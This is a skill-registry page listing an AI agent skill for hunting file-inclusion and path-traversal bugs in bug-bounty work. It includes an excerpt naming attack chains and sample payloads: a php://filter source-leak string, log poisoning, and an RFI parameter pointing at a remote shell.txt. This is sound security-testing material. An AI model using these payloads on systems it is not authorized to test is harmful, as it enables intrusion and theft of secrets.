Individual skill
hunt-lfi
Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.
knowledge/Claude-BugHunter/skills/hunt-lfi/SKILL.md
Source commit 961a0dd3d2d2f66a07a416ade3b1d4473b64802e
What was checked
- Matches the observed repository HEAD
- Yes
- Scanner rules are current
- No
- Repository scan complete
- No
- Skill scan complete
- No
- Observed behavior
- Not checked yet
- Last checked
- Nov 4, 2026
These are observations at the recorded commit, not a guarantee of safety. Review the source before running it.
Install this skill
Choose an agent in your Stack or copy a command below. Commands fetch the pinned commit and copy only this skill directory. Existing destinations are refused. Copying a command does not install anything.
An install command is unavailable: current rules, complete repository and skill scans, an eligible behavior level and a permitted license are required.
Repository context
- Repository stars (not skill ratings)
- 1,011
- Repository last updated
- Nov 5, 2026
- License
- Apache-2.0
Observed agent integration: No specific integration evidence. Standard SKILL.md installation does not imply verified compatibility.
- ai-agent Repository topic
- appsec Repository topic
- bug-bounty Repository topic
- cybersecurity Repository topic
- devsecops Repository topic
- exploit-validation Repository topic
- hermes-agent Repository topic
- infosec Repository topic
- llm-security Repository topic
- nuclei Repository topic
- data Derived category
Files and excerpt
File metadata and permitted, redacted excerpts come from the recorded scan. Source links are pinned to that commit.
Browse files
SKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytesSKILL.mdcore · 15,919 bytes
Read excerpt
# HUNT-LFI — Local / Remote File Inclusion & Path Traversal
## Crown Jewel Targets
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.
**Highest-value chains (in rough order of reliability in 2026):**
- **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
- **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.
- **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.
- **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.
- **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
- **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers.